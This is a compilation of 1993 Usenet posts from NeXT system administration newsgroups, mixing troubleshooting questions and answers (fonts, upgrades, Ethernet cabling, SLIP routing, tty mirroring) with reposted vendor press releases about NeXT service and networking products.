NeXT Network and Systems Administrator The MITRE Corporation, McLean, VA jblue@mitre.org (NeXT Mail Encouraged!)
From: jkelly@uclink.berkeley.edu (John M Kelly) Newsgroups: comp.dcom.lans.ethernet,comp.sys.next.sysadmin Subject: Re: problem between 2 machines Followup-To: comp.dcom.lans.ethernet Date: 29 Apr 1993 16:37:39 GMT Organization: University of California, Berkeley Sender: jkelly@uclink.berkeley.edu (John Kelly) Distribution: na Message-ID: <1rp08j$9lv@agate.berkeley.edu> References: <1993Apr14.125716.1137@imagine.com> Summary: Have you looked at distance between the two? Keywords: ThinNet, Ethernet In article <1993Apr14.125716.1137@imagine.com> beckers@imagine.com writes: >we have a thin net setup with about 20 machines on it. machines x and y >are in the same room together and are the only machines in the room (they >are both next). a ping between machine x and y will lose packets (between >1 and 10%) and the same will happen with a ping between y and x, but a >ping from x to any other machine on the net or y and any other machine >yields no packet lose. You don't say how far apart x and y are. Is there at least 1.6 feet of cable between one T and the other (Ethernet spec)? Hope this helps. --John
From: danno@css.itd.umich.edu (Daniel T. Pritts) Newsgroups: comp.sys.next.sysadmin Subject: Re: "Share"ing a file with a Mac via Appletalk Date: 29 Apr 1993 19:05:30 GMT Organization: University of Michigan - ITD Consulting and Support Message-ID: <1rp8tqINN1ep@stimpy.css.itd.umich.edu> References: <1993Apr29.055249.22474@leland.Stanford.EDU> aelman@cs.stanford.edu writes > We're using CAP on a NeXT running 3.0 and it works fine. At least I think > it's CAP (I'm almost positive it is). of course, as soon as I posted my earlier article, I got an e-mail announcement about NS 3.1, which included an announcement about an Add-on product from someone or another for $100 or so that does this... I'm sure it's in comp.sys.next.announce -- dan pritts consultant/system administrator dan.pritts@umich.edu um itd/css unix support group 313/998-6265
Newsgroups: comp.sys.next.sysadmin From: gvh@metrosoft.com (Gordon Van Huizen) Subject: Re: install fonts Message-ID: <1993Apr29.162425.19267@metrosoft.com> Sender: gvh@metrosoft.com Organization: Metrosoft References: <C675y5.4MG@nextsrv1.andi.org> Date: Thu, 29 Apr 1993 16:24:25 GMT In article <C675y5.4MG@nextsrv1.andi.org> dg@synex.andi.org (David M. Gursky) writes: > In article <1993Apr27.101459.26251@news.csuohio.edu> > cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: > >> Isn't it true that the buildafmdir with NS 3.0 is broken and >> you need the copy from your 2.x system? > > Works fine for me, but then again, I didn't set up this NeXT. [...] > To sum it up, I don't know. The 3.0 version has a limittation of 255 fonts per directory. Aside from that it seems to work fine. Gordon -- Gordon Van Huizen vox: 619.488.9411 fax: 619.488.3045 Metrosoft gvh@metrosoft.com [NeXTmail welcome] "Our ship is coming in, it just isn't black." - MTD 2/93
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.hardware Subject: NeXT Selects Bell Atlantic as Authorized Service Provider Date: 29 Apr 1993 20:54:22 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <1rpf9u$4fa@rosie.next.com> News FOR IMMEDIATE RELEASE Contact: Mary Keifer Bell Atlantic Business Systems Services 215/296-2987 Elizabeth Pasternock/Margaret Densley 312/280-7000 Karen Steele NeXT Computer, Inc 415/780-3781 NeXT Selects Bell Atlantic Business Systems Services As Authorized Service Provider FRAZER, Penn., April 26, 1993 - Bell Atlantic Business Systems Services and NeXT Computer Inc., today signed an agreement that names Bell Atlantic as the official service provider for NeXT workstations and printers worldwide. On May 15, subject to standard closing conditions, Bell Atlantic will assume responsibility for servicing NeXT hardware in the U.S. under warranty as well as offer post warranty support services. "This is another very important step in taking care of our existing customers as we complete our transition to a software-only company," said Steven P. Jobs, chairman, president and CEO of NeXT. "We chose Bell Atlantic because of its multivendor support offerings, its excellent reputation as a first-class service provider and its ability to expand upon the services NeXT was able to offer. We also wanted a service provider who, in the future could support the Intel-based PCs running NEXTSTEP." In addition to its NeXT service capabilities, Bell Atlantic supports more than 640 other brands of hardware and software from 338 key field offices worldwide. The company services more than 650,000 units for 60,000 customers at 80,000 sites worldwide. "Our expertise in servicing NeXT products as well as hundreds of other hardware and software products will help customers maximize their overall equipment investment throughout the long term," said Gene Greer, president of Bell Atlantic Business Systems Services. "We will continue the high-quality service that NeXT offered their customers. In addition, for customers with multivendor environments, this is an ideal opportunity to consolidate efforts with one vendor." NeXT equipment repairs will be conducted at the Hayward, Calif. repair facility of Bell Atlantic Computer Technology Services. In addition, Bell Atlantic intends to hire the NeXT service customer representatives who currently support the NeXT service hotline. Until May 15, NeXT users can obtain service support by contacting 1-800-848-NeXT. After May 15, NeXT users can call 1-800-NEX-NeXT to reach the Bell Atlantic customer service department. Bell Atlantic will attend NeXTWORLD Expo on May 25 through May 27, in San Francisco to tell customers firsthand about the new hardware service offerings. For NeXT users not attending NeXTWORLD, Bell Atlantic plans to distribute service information in mid-May. Bell Atlantic Business Systems Services, headquartered in Frazer, Penn., is the world's leading independent computer service organization. It supports more IBM and DEC systems than any other organization outside of the manufacturers, and services more than 640 other brands as well. In all, Bell Atlantic Business Systems Services maintains more than 10,000 makes and models of computer hardware. Bell Atlantic Corporation, based in Philadelphia, is the parent of telephone companies in the mid-Atlantic region, and one of the largest cellular carriers in the nation. Bell Atlantic also is the parent of companies that provide software and systems integration and financial services. NeXT develops and markets the industry-acclaimed NEXTSTEP object-oriented software for industry-standard computer architectures. NEXTSTEP is used by customers to develop and deploy client/server applications, using both custom and shrink-wrapped productivity software. NeXT is headquartered at 900 Chesapeake Drive, Redwood City, Calif., 94063. -30- Next, the NeXT logo, NEXTSTEP, and NeXTWORLD are trademarks of NeXT, Inc. All other trademarks belong to their respective owners.
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Pencom Software Rolls Out Mentoring Services Program for NEXTSTEP Date: 29 Apr 1993 21:07:11 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <1rpg1v$4fr@rosie.next.com> News: Elizabeth Richardson Pencom, Public Relations Specialist Phone: 512-343-6666 Fax: 512-795-2022 Email: eli@pencom.com Pencom Software Rolls Out Mentoring Services Program Company Set to Assist Clients in Re-Engineering, Support and Training Services Austin, Texas, April 23, 1993 - Pencom Software announced today the formalization of a Mentoring Services Program designed to provide highly responsive, exceptional quality software support packages customized for clients' specific needs. Each package - the Bronze, Silver or Gold - provides a selection of support components allowing clients to purchase only the specific services they need for their organization. Fees are based on the package purchased and are billed at a one-time annual rate, allowing customers to pay an up-front fee for a designated set of services. Each package includes on-site design reviews, electronic mail, toll-free phone support, on-site system reviews with added Software Architectural Team (S.W.A.T.) services billed at a discounted rate. Additional services are available with the Silver and Gold packages. "The dynamics of today's marketplace have placed more emphasis on responsive services," said Scott Abel, Director, Re-Engineering Services. "Customers are now asking for more interaction and expressing a desire for our expertise in a long-term support relationship, rather than just on a project basis." While Pencom is now formalizing these services into a fully developed program, the company has already been assisting companies with mentoring support. Clients such as McCaw Cellular, IBM, Preferred Health Care, SunSoft and others have already utilized Pencom's expertise in re-engineering, application development and training services - services that are highlighted in the Mentoring Support Packages. "Customers are realizing that they need more than just a hotline for their development support questions," said Abel. "They want support from someone who inherently knows their business and understands what they are trying to accomplish. Our mentoring services provide an initial design review, followed up with quarterly reviews. The same Pencom engineer will conduct all reviews for a company, as well as be available for their phone or email questions. The Gold package also includes an additional eight days of consulting that can be utilized around one of the quarterly reviews at any time during the year." Furthermore, the packages provide discounted rates for Pencom's S.W.A.T. services. These S.W.A.T. engineers are available for companies requiring high-level, mission-critical assistance for difficult technical problems, application design expertise or rapid development of software. "Today's marketplace demands that companies produce their products and services more effectively and efficiently than ever before," said Abel. "Pencom's re-engineering focus allows us to respond quickly to a client's changing needs, and help them utilize their computing environment as a competitive edge in their business." Pencom continues to lead the industry in innovative service solutions! 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Newsgroups: comp.sys.next.sysadmin From: raul@pencom.com (Raul Alvarez) Subject: Re: Help! Loginwindow not appearing on startup Message-ID: <1993Apr29.154837.24080@pencom.com> Sender: usenet@pencom.com (News system) Organization: Pencom Systems Incorporated References: <1993Apr28.043053.285@relief.com> Date: Thu, 29 Apr 1993 15:48:37 GMT I had a weird problem like this when a couple of SIMMs in bank #1 went bad. My cube started behaving strange some time before though. Raul Alvarez
Newsgroups: comp.sys.next.sysadmin From: lorinr@altsys.com (Lorin Rivers III) Subject: Re: install fonts Message-ID: <1993Apr29.203554.10128@altsys.com> Organization: Altsys Corporation, Richardson, TX References: <1993Apr27.101459.26251@news.csuohio.edu> <C675y5.4MG@nextsrv1.andi.org> Date: Thu, 29 Apr 1993 20:35:54 GMT In article <C675y5.4MG@nextsrv1.andi.org> dg@synex.andi.org (David M. Gursky) writes: >In article <1993Apr27.101459.26251@news.csuohio.edu> >cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: > >> Isn't it true that the buildafmdir with NS 3.0 is broken and you need >> the copy from your 2.x system? > >Works fine for me, but then again, I didn't set up this NeXT. On the >other hand, I think this NeXT postdates 3.0. To sum it up, I don't know. buildafmdir for NS 3.0 barfs for more than approx. 250 fonts (not Families, but individual fonts). The symptoms are miscellaneous missing fonts and families. The fix is to use the buildafmdir from NS 2.X. Mebbe NS 3.1 fixes this problem. -- Lorin Rivers Lorin_Rivers@altsys.com Altsys Technical Support 214.680.2518 269 W. Renner Parkway NeXT Mail Expected Richardson, Texas 75080 I said it, not my boss
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin Subject: IPT Releases "Partner": Provides AppleTalk Networking for NEXTSTEP Date: 29 Apr 1993 21:12:47 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <1rpgcf$4g4@rosie.next.com> News: FOR IMMEDIATE RELEASE For more information contact: Rod Braly IPT Phone: (805) 541-3000 Email: info@iptech.com IPT Releases "Partner": Provides AppleTalk Networking for NEXTSTEP San Luis Obispo, Calif. - April 26, 1993, Information Presentation Technologies, Inc. (IPT), a leading manufacturer of Macintosh-to-UNIX connectivity software, has officially released its Partner series of products for NEXTSTEP systems. Partner provides NEXTSTEP users with AppleTalk client support and AppleShare server support. IPT's Partner offers additional options not available with NeXT's AppleTalk client software, including bi-directional file-sharing, bi-directional printing, print spooling, print queue management, icon binding/mapping and electronic mail. "Partner provides seamless interoperability between Macintosh computers and NEXTSTEP systems, including both NeXT's 68040-based workstations and Intel-based PCs that will run NEXTSTEP for Intel processors" said Jon Simonds, president of IPT. "NeXT's connectivity strategy is to focus on making NEXTSTEP the leading object-oriented software for developing and deploying client/server applications. We want to provide a framework upon which specialized experts can base their solutions," said Brett Bachman, director of product marketing at NeXT. "IPT is an ideal example of this strategy in action. As a leading AppleTalk-to-UNIX networking vendor, IPT is well positioned for delivering AppleTalk connectivity solutions to NEXTSTEP customers." Partner for NeXT's 68040-based workstations is shipping now; until NEXTSTEP Release 3.1 begins shipping, the Partner product will include an update of NeXT's kernel for improved AppleTalk protocol support. Partner for NEXTSTEP for Intel processors will be available May 25, 1993. Pricing for Partner starts at $149. Information Presentation Technologies, Inc. was founded in 1983 and is located in San Luis Obispo, Calif. IPT specializes in developing server-based and peer-to-peer networking products for the UNIX and Macintosh computing environments. For more information, contact IPT at 555 Chorro Street, San Luis Obispo, CA 93405; telephone (805) 541-3000; e-mail info@iptech.com. # # #
From: jcl@yonext.apl.washington.edu (James C. Luby) Newsgroups: comp.sys.next.sysadmin Subject: Software compatibility issue vis-a-vis NeXT OS 3.0 and. 2.1 Date: 29 Apr 1993 23:01:02 GMT Organization: University of Washington Distribution: na Message-ID: <1rpmneINNh4k@shelley.u.washington.edu> I'm thinking about taking the plunge and upgrading to NeXT OS 3.0. Before doing I would like to know which of my OS2.1 software packages are not going to run. Does anyone know if an upgrade compatibility guide has been posted and if so when and where? Thanks! Jim Luby
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: How to monitor a tty? Message-ID: <1993Apr27.091807.604@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <1rcm8s$a92@pith.uoregon.edu> Date: Tue, 27 Apr 1993 09:18:07 GMT In article <1rcm8s$a92@pith.uoregon.edu> jfosback@darmok.uoregon.edu (Jason Fosback) writes: > Is there a way to monitor a tty that a user is logged into? I'd like to > essentially be able to get a "mirror image" of what the user is seeing > and typing on his or her tty. > Yes, that's what we all would like to have :-) Perhaps you could hack a shell (tcsh, zsh) to mirror inputs and then give this user only the hacked shell. Of course, this can be circumvented easily. Any other ideas ? -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de f u cn rd ths, u cn gt a gd jb n cmptr prgrmmng. ------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: jstelly@math.uno.edu (John R. Stelly II) Subject: How to make a bootable floppy Message-ID: <1993Apr29.230846.17604@cs.uno.edu> Sender: news@cs.uno.edu Organization: University of New Orleans Date: Thu, 29 Apr 1993 23:08:46 GMT One of our NeXT Stations cannot be booted at all - not even in single-user mode. When I attempt to boot it from within the monitor to observe what's going on, it appears that its hard disk is completely full. The only thing we can think of to do is to boot it from a floppy disk, but we don't have any bootable floppies. So, does anyone know of a way to create a bootable floppy disk(s) - if that's at all possible - from which I can then boot the problem Station? Thanks, John Stelly - jstelly@math.uno.edu ( NeXT Mail welcome )
Newsgroups: comp.sys.next.sysadmin From: ryne@beta.lanl.gov (Robert Ryne) Subject: HelI botched my 2.1 -> 3.0 upgrade; how to recover? Message-ID: <1993Apr29.181015.5056@newshost.lanl.gov> Sender: news@newshost.lanl.gov Organization: Los Alamos National Laboratory Distribution: comp.sys.next.sysadmin, comp.sys.next.soft-sys.nextstep Date: Thu, 29 Apr 1993 18:10:15 GMT I recently posted an article (to the wrong group) stating that I had upgraded my Cube (340M/8M) from NS2.1 to NS3.0. I noticed very soon that something was quite wrong. For example, I couldn't use Webster. Then I looked in my UpgradeLog File, and discovered nearly 200 lines of the form "Couldn't copy /NeXTSTEP_3.0/xxx/xxx to /xxx/xxx." It turns out that most of the errors were for files in NextAdmin, NextDeveloper, NextLibrary and /usr! Here is what I did to upgrade (all as root): (1)backed up my user accounts to Optical (2)Installed the CD ROM Tools from floppy (3)restarted the system (4)Inserted the CD ROM, then ran Upgrade 3.0 I have been told that my mistake was in step 4, that I actually had to "scratch" 2.1 and start with a clean disk (which I did not do.) [As I understand it, I should have booted off the floppy and then rebuilt the system from scratch from the CD ROM/] My system is highly corrupted. What is the simplest way to recover from this? Should I boot from my NS2.1 Optical Disk, then reinstall 2.1 on the hard disk, then upgrade (correctly) to 3.0? If anyone would like to see my UpgradeLog file, I can repost it or send it via e-mail. Any help is greatly appreciated. Robert Ryne
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: install fonts In-Reply-To: gvh@metrosoft.com's message of Thu, 29 Apr 1993 16:24:25 GMT Message-ID: <KARTHY.93Apr30003948@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <C675y5.4MG@nextsrv1.andi.org> <1993Apr29.162425.19267@metrosoft.com> Date: Thu, 29 Apr 1993 23:39:48 GMT >>>>> On Thu, 29 Apr 1993 16:24:25 GMT, gvh@metrosoft.com (Gordon Van Huizen) said: Gordon> In article <C675y5.4MG@nextsrv1.andi.org> dg@synex.andi.org (David M. Gordon> Gursky) writes: > In article <1993Apr27.101459.26251@news.csuohio.edu> > cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: > >> Isn't it true that the buildafmdir with NS 3.0 is broken and >> you need the copy from your 2.x system? > > Works fine for me, but then again, I didn't set up this NeXT. [...] > To sum it up, I don't know. Gordon> The 3.0 version has a limittation of 255 fonts per directory. Aside Gordon> from that it seems to work fine. Well, in 3.1PR1 it seems to not work at all. I successfully installed and used several fonts under 3.0, but I can't get it to work on the prerelease of 3.1. Anyone got it to work?? Karsten.
Newsgroups: comp.sys.next.sysadmin From: alee@quads.uchicago.edu (Nic Fit) Subject: How do you disable power off? Message-ID: <1993Apr30.020952.22533@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: Dumb Phuck University Date: Fri, 30 Apr 1993 02:09:52 GMT At Berkeley, we got a couple Color Nextstations - here's what we'd like to do with them: We'd like to disable power off so that it will be on 24hrs/day, but rather than just taking off the keyboard or whatever, we'd like to use them as workstations. What's a practical way of disabling power off? Mucho thanks, - Art -- Nic Fit Preserve wildlife. alee@midway.uchicago.edu Pickle a squirrel today.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.apps,comp.sys.next.programmer From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Subject: Rebuilding a controller block Message-ID: <1993Apr30.023832.27331@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Fri, 30 Apr 1993 02:38:32 GMT I have a Seagate drive which has had the controller blocks wrote over on the drive. (Its a seagate, scsi-2). Is there software for my beloved NeXT that'll let me re-do the blocks? (I called the Seagate support bbs and downloaded all the info that about the drive that I'd need to do it, but I don't have the software to do it) Thanks! If you can, please reply via mail, since this is very important to me and my computer! shane -- :::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!::: : Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu : : root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: vanhet@garnet.berkeley.edu (John van Heteren) Newsgroups: comp.sys.next.sysadmin Subject: Connecting THICK to THIN ethernet Date: 30 Apr 1993 03:20:57 GMT Organization: University of California, Berkeley Distribution: na Message-ID: <1rq5up$mmo@agate.berkeley.edu> Hi. The lab that I work at has a thick ethernet cable running around to various boxes which have AUI connections. The network is primarily populated with Xterminals and SGI machines. I would like to attach my NeXT to this network (if successful, it will be the only NeXT at our site). I would like to know: Is it O.K. to just connect my NeXT with its thin ethernet cable (50 ohm coax, BNC connectors) to the end of the THICK ethernet cable (50 ohm coax, N type connectors) with the appropriate N to BNC adaptor, and with the 50 ohm terminator hanging off my NeXT? The total length of the combined cable will be well under the maximum limits for either Thick or Thin coax. As you can see, I know the cable impedances are matched, however, I'm not sure about line voltages, etc. I'd also appreciate any advice vavilable on what files I must configure, either through the NeXT editor, HostConfig software, or whatever. The lab's system administrator tells me that he'll update the names database on the master SGI node when I get connected. Thanks in advance, John van Heteren vanhet@garnet.berkeley.edu
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: How to monitor a tty? In-Reply-To: thf@zelator.in-berlin.de's message of Tue, 27 Apr 1993 09:18:07 GMT To: thf@zelator.in-berlin.de (Thomas Funke) Message-ID: <CEDMAN.93Apr29214234@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1rcm8s$a92@pith.uoregon.edu> <1993Apr27.091807.604@gamelan> Date: Fri, 30 Apr 1993 01:42:34 GMT In article <1993Apr27.091807.604@gamelan> thf@zelator.in-berlin.de (Thomas Funke) writes: In article <1rcm8s$a92@pith.uoregon.edu> jfosback@darmok.uoregon.edu (Jason Fosback) writes: > Is there a way to monitor a tty that a user is logged into? I'd like to > essentially be able to get a "mirror image" of what the user is seeing > and typing on his or her tty. > Yes, that's what we all would like to have :-) Perhaps you could hack a shell (tcsh, zsh) to mirror inputs and then give this user only the hacked shell. Of course, this can be circumvented easily. Any other ideas ? The right way to go is a spy device driver which mirrors all tty's into a second set of devices. I once wrote such a device driver for the NeXT and my testers tell me it worked fine, but device drivers being as sensitive pieces of software as they are I'd hate to release the sources until I'm certain that it won't crash your machine or dirties your disk buffers. Carl Edman
Newsgroups: comp.sys.next.sysadmin Subject: Re: How to monitor a tty? Message-ID: <SCOTT.93Apr30042141@nic.gac.edu> From: scott@nic.gac.edu (Scott Hess) Date: 30 Apr 93 04:21:41 References: <1rcm8s$a92@pith.uoregon.edu> <1993Apr27.091807.604@gamelan> Organization: Is a sign of weakness In-reply-to: thf@zelator.in-berlin.de's message of Tue, 27 Apr 1993 09:18:07 GMT In article <1993Apr27.091807.604@gamelan>, thf@zelator.in-berlin.de (Thomas Funke) writes: >In article <1rcm8s$a92@pith.uoregon.edu>, > jfosback@darmok.uoregon.edu (Jason Fosback) writes: >> Is there a way to monitor a tty that a user is logged into? I'd like to >> essentially be able to get a "mirror image" of what the user is seeing >> and typing on his or her tty. > >Perhaps you could hack a shell (tcsh, zsh) to mirror inputs and then >give this user only the hacked shell. Of course, this can be >circumvented easily. If you have the cooperation of the user (of course, most valid uses of such an ability _do_. Other uses would usually be considered a violation of privacy), then this is neat: program | tee /dev/ttyp3 where "program" is the program you want to see output of and /dev/ttyp3 is the tty you want to see the output on. Later, -- scott hess <shess@ssesco.com> <To the BatCube, Robin> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.sgi.graphics,comp.sys.next.sysadmin From: ploeger@aplki.toppoint.de (Andreas Ploeger) Subject: NeXT's display postscript on SGI Indigo? Message-ID: <1993Apr30.125223.1404@aplki.toppoint.de> Sender: ploeger@aplki.toppoint.de (Andreas Ploeger) Organization: Andreas Ploeger Date: Fri, 30 Apr 93 12:52:23 GMT Does anybody have experience running a NeXTstep application and having it's display postscript shown on a SGI Indigo using the NXHost mechanism? The Indigo comes with a display postscript server. -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de Kiel University Phone: (49) 431 597 1757 Clinic for Pediatric Cardiology FAX: (49) 431 597 1828 Schwanenweg 20, 2300 Kiel 1, Germany *** NeXT Mail welcome *** -- -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de
Newsgroups: comp.sys.next.sysadmin From: ginsparg@qfwfq.lanl.gov (Paul Ginsparg 505-667-7353) Subject: where in the world is merge ? Message-ID: <1993Apr29.213813.18117@newshost.lanl.gov> Sender: news@newshost.lanl.gov Organization: Los Alamos National Lab Date: Thu, 29 Apr 1993 21:38:13 GMT in 3.0, i find a man page for a utility called merge (attached below) which could be useful, but there's no merge on my path (or elsewhere). anyone know where it is, or, if not included in nextstep distribution, whether merge (or some equivalent) is available on an archive somewhere? pg > man merge MERGE(1) UNIX Programmer's Manual MERGE(1) NAME merge - three-way file merge SYNOPSIS merge [ -p ] file1 file2 file3 DESCRIPTION Merge incorporates all changes that lead from file2 to file3 into file1. ..(omitted text)... IDENTIFICATION Author: Walter F. Tichy, Purdue University, West Lafayette, IN, 47907. Revision Number: 3.0 ; Release Date: 82/11/25 . Copyright (C) 1982 by Walter F. Tichy.
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: Help! Loginwindow not appearing on startup Message-ID: <1993Apr28.124542.1909@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <1993Apr28.043053.285@relief.com> Date: Wed, 28 Apr 1993 12:45:42 GMT In article <1993Apr28.043053.285@relief.com> jjfeiler@relief.com (John Jay Feiler) writes: > I'm having a rather odd problem. When I boot my system, the startup of > nmserver seems to be dying. I get an error message on the console, something > like: > > tcp_listener.bind failed: errno=48 > TCP: panic. > Which version of NeXTStep are you running? I think I know, and it shouldn't really be discussed here. Check that /etc/hostconfig exists. During one of our upgrades it got trashed and this happened to us. It also happened a few times when running said version in 8Mb. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
From: Ruediger Popp <rpopp@ebigek01.ciw.uni-karlsruhe.de> Newsgroups: comp.sys.next.sysadmin Subject: Re: Help! Loginwindow not appearing on startup Date: 30 Apr 1993 15:47:07 GMT Organization: University of Karlsruhe, Germany Distribution: world Message-ID: <1rrhlr$15p@nz12.rz.uni-karlsruhe.de> References: <1993Apr28.124542.1909@xexos.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In article <1993Apr28.124542.1909@xexos.com> mark@xexos.com (Mark Chamberlain) writes: > In article <1993Apr28.043053.285@relief.com> jjfeiler@relief.com (John Jay > Feiler) writes: > > I'm having a rather odd problem. When I boot my system, the startup of > > nmserver seems to be dying. I get an error message on the console, something > > like: > > > > tcp_listener.bind failed: errno=48 > > TCP: panic. > > > > Which version of NeXTStep are you running? I think I know, and it shouldn't > really be discussed here. > > Check that /etc/hostconfig exists. During one of our upgrades it got trashed > and this happened to us. It also happened a few times when running said version > in 8Mb. > > -- > Mark Chamberlain +44 71 237 4535 > Xexos Ltd fax +44 71 231 0844 > London mark@xexos.com We are running a 040 Cube with 64MB and a 16 MB NeXTDimension Board (PAL). After installing NS3.0 from scratch (not an upgrade!) we had a lot of troubles with the missing loginwindow, too. After several failed trials we fixed the problem. Obviously one of the fontdirectories /NextLibrary/Fonts or /LocalLibrary/Fonts was corrupted in an unknown way. The problem was solved copying the Directories from CD to HD in single-user mode. A user in Austria who had similiar problems fixed the bug running builafmdir over the directories --- ----------------------------------------------------------------- Ruediger Popp Engler-Bunte-Institute Dept. Chemistry and Technology of Gas, Oil and Coal University of Karlsruhe (TH) Richard-Willstaetter-Allee 5 W-7500 Karlsruhe 1 (01.07.93: 76128 Karlsruhe) Germany Tel.: +49 721 608 2994 E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred) -----------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: brad@instep.wimsey.bc.ca Subject: How do I get host-host connectivity using SLIP? Message-ID: <1993Apr30.174255.17175@instep.wimsey.bc.ca> Sender: brad@instep.wimsey.bc.ca (Bradley Head) Organization: InStep Mobile Communications Inc. Date: Fri, 30 Apr 1993 17:42:55 GMT How do I configure a network so that I host-to-host connectivity can exist between two local nets connected via Dialupip SLIP? I'm not connected to the Internet, so all the ip addresses are fictitious. I can currently connect only between the two hosts on each respective net that have the modem attached. The two networks have the following fictitious ip addressing. okanagon 192.42.173.1 vancouver 192.42.171.1 kamloops 192.42.173.2 westvan 192.42.171.2 penticton 192.42.173.3 whiterock 192.42.171.3 burnaby 192.42.171.4 The okanagon and vancouver have Dialupip SLIP running between them. (i.e. vancouver is reachable from okanagon). My /usr/dialupip/config/config.slip file for vancouver has this entry for connecting to okanagon: # ------------------------------ slip0 SLIP0LOCAL=192.42.171.1 SLIP0REMOTE=192.42.173.1 SLIP0NETMASK=255.255.250.0 SLIP0CONFIG=CSLIP I would like to be able to have every host reachable by any other host. For example I would like to be able to rlogin into kamloops from whiterock. How do I set this up? Please reply via email. Thanks so very much. Cheers, Brad -- Bradley Head Software Developer, InStep Mobile Communications Inc. brad@instep.wimsey.bc.ca (NeXTmail accepted) 604 872-7116 fax: 604 872-7125
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: garton@cunixa.cc.columbia.edu (Bradford Garton) Subject: Seagate ST11200N disktab or MODE sense needed! Message-ID: <1993Apr30.195909.9834@news.columbia.edu> Sender: usenet@news.columbia.edu (The Network News) Organization: Columbia University Electronic Music Center Date: Fri, 30 Apr 1993 19:59:09 GMT Aaaack! Like an idiot, I managed to destroy the label on my brand-spanking-new Seagate ST11200N disk. Could some kind soul send me a disktab entry and/or a the SCSI MODE sense info so I can make my life whole again? 1024-byte blocksize, I hope... THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU! Brad Garton Music Department brad@woof.music.columbia.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: garton@cunixa.cc.columbia.edu (Bradford Garton) Subject: Re: Seagate ST11200N disktab or MODE sense needed! Message-ID: <1993Apr30.211213.15033@news.columbia.edu> Sender: usenet@news.columbia.edu (The Network News) Organization: Columbia University Electronic Music Center References: <1993Apr30.195909.9834@news.columbia.edu> Date: Fri, 30 Apr 1993 21:12:13 GMT Never ever mind. I done fixed it mah-self. Sorry to bother the Net. brad
From: rawyatt@girtab.usc.edu (Robert Alexander Wyatt) Newsgroups: comp.sys.next.sysadmin Subject: WE NEED NETWORKING HELP Date: 30 Apr 1993 17:33:42 -0700 Organization: University of Southern California, Los Angeles, CA Sender: nntp@girtab.usc.edu Distribution: world Message-ID: <1rsgh6INN229@girtab.usc.edu> ********************************************************************* WE NEED NETWORKING HELP -- mostly because we are clueless... ********************************************************************* We are attempting to network our office with five NeXT machines and five Macs. (we don't want your pity... just your help...) Now that you are done laughing, please answer some or all of the following questions -- partial credit for partial answers... 1. Should we wire the whole office with Ethernet or attempt to mix and match LocalTalk and Ethernet? If we mix the two, what additional hardware is required? 2. Who makes good Ethernet cards for the Mac LC and SE? 3. One of our NeXTcubes is the mail server with a UUCP connection to the Internet. Are there any Mac applications which support NeXTmail? If not, what Macintosh mail application work best with NeXTmail? 4. We have 2 NeXT laser printers and 2 Apple LaserWriters. Is there any way for the Macs to print to the NeXT laser through another NeXTcube (which is the print server)? 5. Can we share files using only one file server? 6. Any recommendations on networking software to get the two platforms talking? Thanks in advance for all your help. -Rob Wyatt --------------------------------------------------------------------- rawyatt@scf.usc.edu (ASCII mail only) yannatta@ata.com (NeXTmail)
